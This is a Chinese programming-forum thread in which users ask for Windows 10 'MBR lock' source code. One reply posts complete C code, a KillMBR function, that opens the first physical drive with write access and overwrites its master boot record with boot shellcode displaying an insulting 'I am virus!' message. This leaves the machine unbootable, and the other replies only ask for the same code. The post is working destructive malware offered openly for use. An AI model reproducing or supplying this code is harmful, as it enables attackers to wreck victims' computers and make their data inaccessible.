找回密码
 立即注册→加入我们

QQ登录

只需一步,快速开始

搜索
热搜: 下载 VB C 实现 编写
查看: 1833|回复: 4

求大佬给个win10可用的mbr逻辑锁源码

[复制链接]

4

主题

16

回帖

50

积分

用户组: 小·技术宅

UID
4127
精华
0
威望
0 点
宅币
30 个
贡献
0 次
宅之契约
0 份
在线时间
1 小时
注册时间
2018-8-6
发表于 2018-8-6 09:25:19 | 显示全部楼层 |阅读模式

欢迎访问技术宅的结界,请注册或者登录吧。

您需要 登录 才可以下载或查看,没有账号?立即注册→加入我们

×
谢谢!参考一下以便日后学习
回复

使用道具 举报

1

主题

12

回帖

14

积分

用户组: 初·技术宅

UID
4160
精华
0
威望
0 点
宅币
1 个
贡献
0 次
宅之契约
0 份
在线时间
0 小时
注册时间
2018-8-11
发表于 2018-8-11 21:12:54 | 显示全部楼层
同求。希望来一份
回复 赞! 靠!

使用道具 举报

12

主题

35

回帖

959

积分

用户组: 大·技术宅

UID
3517
精华
1
威望
36 点
宅币
802 个
贡献
33 次
宅之契约
0 份
在线时间
207 小时
注册时间
2018-3-2
发表于 2018-8-13 22:16:27 | 显示全部楼层
1035231127 发表于 2018-8-11 21:12
同求。希望来一份
  1. #include 'winioctl.h'
  2. unsigned char scode[] =
  3. "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
  4. "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
  5. "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
  6. int KillMBR()
  7. {
  8.     HANDLE hDevice;
  9.     DWORD dwBytesWritten, dwBytesReturned;
  10.     BYTE pMBR[512] = {0};
  11.   
  12.     // MBR
  13.     memcpy(pMBR, scode, sizeof(scode) - 1);
  14.     pMBR[510] = 0x55;
  15.     pMBR[511] = 0xAA;
  16.   
  17.     hDevice = CreateFile
  18.         (
  19.         "\\\\.\\PHYSICALDRIVE0",
  20.         GENERIC_READ | GENERIC_WRITE,
  21.         FILE_SHARE_READ | FILE_SHARE_WRITE,
  22.         NULL,
  23.         OPEN_EXISTING,
  24.         0,
  25.         NULL
  26.         );
  27.     if (hDevice == INVALID_HANDLE_VALUE)
  28.         return -1;
  29.     DeviceIoControl
  30.         (
  31.         hDevice,
  32.         FSCTL_LOCK_VOLUME,
  33.         NULL,
  34.         0,
  35.         NULL,
  36.         0,
  37.         &dwBytesReturned,
  38.         NULL
  39.         );
  40.     // WriteFile
  41.     WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
  42.     DeviceIoControl
  43.         (
  44.         hDevice,
  45.         FSCTL_UNLOCK_VOLUME,
  46.         NULL,
  47.         0,
  48.         NULL,
  49.         0,
  50.         &dwBytesReturned,
  51.         NULL
  52.         );
  53.     CloseHandle(hDevice);
  54.   
  55.     ExitProcess(-1);
  56.     return 0;
  57. }
复制代码
回复 赞! 靠!

使用道具 举报

0

主题

70

回帖

164

积分

用户组: 小·技术宅

UID
1291
精华
0
威望
2 点
宅币
89 个
贡献
1 次
宅之契约
0 份
在线时间
2 小时
注册时间
2015-11-25
发表于 2018-11-13 22:38:20 | 显示全部楼层
回复

使用道具 举报

0

主题

43

回帖

60

积分

用户组: 小·技术宅

UID
4536
精华
0
威望
2 点
宅币
12 个
贡献
0 次
宅之契约
0 份
在线时间
6 小时
注册时间
2018-12-6
发表于 2018-12-6 08:28:31 | 显示全部楼层
同求,希望来一份,非常感谢
回复 赞! 靠!

使用道具 举报

QQ|Archiver|小黑屋|技术宅的结界 ( 滇ICP备16008837号 )|网站地图

GMT+8, 2024-3-29 00:11 , Processed in 0.036996 second(s), 27 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表